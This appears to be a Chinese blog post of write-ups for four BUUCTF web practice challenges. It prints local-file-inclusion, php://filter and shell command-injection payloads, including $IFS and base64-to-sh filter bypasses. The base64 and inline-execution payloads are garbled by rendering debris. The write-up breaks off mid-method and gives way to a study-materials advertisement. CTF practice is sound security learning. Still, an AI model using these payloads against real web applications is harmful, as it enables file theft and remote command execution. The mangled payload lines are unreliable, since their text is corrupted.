【CTF练习】BUUCTF WEB(2)

    -->

#### 【传参】:


        **利用hackbar用get方式传参:**


![](https://img-blog.csdnimg.cn/direct/fe2f7452ecbe4f86aee084d4d1d36677.png)


### 




---


## [HCTF 2018]WarmUp


#### 本题考查:PHP、代码审计


第一步:查看页面源代码  
 第二步:访问相关页面  
 第三步:代码审计


#### 【查看页面源代码】:


        **发现绿色注释:source.php**


![](https://img-blog.csdnimg.cn/direct/7965d21502ad4205a9221fce97b67f28.png)


#### 【访问source.php】:



<?php highlight_file(__FILE__); //定义了一个emmm类 class emmm { public static function checkFile(&$page) { //白名单$whitelist $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; //若page未设置或不是字符串就输出提示并返回false return false; } if (in_array($page, $whitelist)) { return true; //若白名单中有page值则返回true } //mb_substr:返回字符串的一部分 $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') //mb_strops:查找字符串在另一个字符串中首次出现的位置,并且如果 $page 本身不包含 ? 字符,那么 $page . '?' 会确保字符串的末尾有一个 ? 字符,因此 mb_strpos 总是能返回一个位置(即使它是字符串的末尾)。如果 $page 已经包含 ? 字符,那么 mb_strpos 会返回该字符首次出现的位置。 ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); //将$page进行url编码 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } //不进入else分支,可以调用include函数读取传入文件。这里要满足if中的条件为真 if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "
"; } ?>

        **值得注意的是,无论是直接访问source.php还是利用?file=source.php查看,返回结果都是**


**同一段代码,且直接访问source.php下面还会显示那张图片,也就是说当前网页其实就是在**


**source.php页面,即我们始终是在在soure.php页面进行传参!!!**


#### 【代码审计】:


        **根据代码提示,存在一个hint.php页面,访问这个页面,可以得到flag的提示:**


![](https://img-blog.csdnimg.cn/direct/9f5142dfb0d045179f99e510cd5cb098.png)


        即flag在文件ffffllllaaaagggg当中,但是我们目前并不知道该文件在那个目录下(白名单中也没有这个文件



Payload:
http://57222b26-44ad-489f-874a-51b708f283c2.node5.buuoj.cn:81/source.php?file=hint.php?/…/…/…/…/ffffllllaaaagggg


**这里有一篇博客解释了一下构造payload的原理:**


**当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放**


**在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录。**  
[[HCTF 2018]WarmUp全网最详细解释\_[hctf 2018]warmup的解-CSDN博客](https://bbs.csdn.net/topics/618653875)


### 




---


## [ACTF2020 新生赛]Include


#### 本题考查:filter伪协议进行文件包含


**关于文件包含伪协议可以参考下面这篇博客:**  
[File Inclusion(文件包含漏洞)学习 / 伪协议\_file协议漏洞-CSDN博客](https://bbs.csdn.net/topics/618653875)


#### 【查看页面源代码】:


        **并没有什么可利用的**


#### 【查看url】:


        **点击tips跳转,url多了?file=flag.php,但该页面只输出了:**


![](https://img-blog.csdnimg.cn/direct/831c91bcaac14e7088fb8b7babd25740.png)


        **目前的办法就是查看flag.php文件的源代码,看flag是否在源代码中被注释掉了,此处利用伪**


**协议:**



payload:
http://5165ec02-c72d-4737-85c5-295e639ea759.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php


#### 【base64解码】:


![](https://img-blog.csdnimg.cn/direct/86ade1b980b84d2b8bdef6b2a8fd31cb.png)


### 




---


## [ACTF2020 新生赛]Exec


#### 本题考查:命令执行


#### 【尝试执行ls命令】:


**输入:127.0.0.1;ls**


![](https://img-blog.csdnimg.cn/direct/6182695a4f3f43c688b0053ff7dd1161.png)


#### 【设法找到与flag相关的文件】:


![](https://img-blog.csdnimg.cn/direct/ea74df3d00834933a155f374e53b9809.png)


![](https://img-blog.csdnimg.cn/direct/6da2dcf500654929afcf587aaa3dd9c1.png)


![](https://img-blog.csdnimg.cn/direct/d7c2881491334baa8ccf55a2b7ba659b.png)


**查看flag文件的内容:**


![](https://img-blog.csdnimg.cn/direct/280a28ff1a3e4b3c81ca7bba18a91342.png)


**!!!注意,上述截图中,输入框中的内容和回显内容不是同步的(即输入框的内容是与结果对应的语句,但结果出来后,输入框中本应该是没有内容的,主要是为了方便看加上去的)**





---


## [GXYCTF2019]Ping Ping Ping


#### 本题考查:命令执行


#### 【尝试一下用分号拼接ip和ls】:


**?ip=127.0.0.1;ls**


![](https://img-blog.csdnimg.cn/direct/fe129c1927af44da860176c60fd5378b.png)


#### 【尝试查看flag.php文件】:


**?ip=127.0.0.1;cat flag.php    结果发现空格被过滤**


![](https://img-blog.csdnimg.cn/direct/a9bb9d3bb64d499c8d8f2fff0a39a581.png)


#### 【用{IFS}绕过空格被过滤】:


**用{IFS}绕过空格,发现标点符号也被过滤了:**


![](https://img-blog.csdnimg.cn/direct/6f7082593b34465a9cae704fe1b74325.png)


#### 【用不含有标点符号的方法绕过空格】:


**用$IFS$1绕过空格,提示flag也有被过滤掉,尝试打开index.php**


![](https://img-blog.csdnimg.cn/direct/4c0d07783cff457881b832900482080c.png)


#### 【分析index.php的源代码】:


**发现好多东西都被过滤了:**


**& / ? \* < x{00}-\x{1f} ' " \ () [] {} 空格 "xxxfxxxlxxxaxxxgxxx" " " "bash"等**


![](https://img-blog.csdnimg.cn/direct/e57490de45d34addaa8c2d19e494f88f.png)


#### 【根据源代码,分析出一下绕过方法】:


* **方法一:将cat flag.php直接用base64编码绕过**



?ip=127.0.0.1;echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhwbase64IFS 1 − d ∣ b a s h / / 但是 b a s h 被过滤了 ? i p = 127.0.0.1 ; e c h o 1-d|bash //但是bash被过滤了 ?ip=127.0.0.1;echo 1dbash//但是bash被过滤了?ip=127.0.0.1;echoIFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhwbase64IFS$1-d|sh
//|sh 就是执行前面的echo脚本


* **方法二:空格用$IFS$1绕过,flag利用内联执行绕过:**



//内联:将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9ls


* **方法三:简单变量替换(利用源码):**



//单个变量

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

WQosSz8-1715564674764)]

[外链图片转存中…(img-Js4yQJZr-1715564674764)]

[外链图片转存中…(img-lRazrkKF-1715564674764)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 22
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值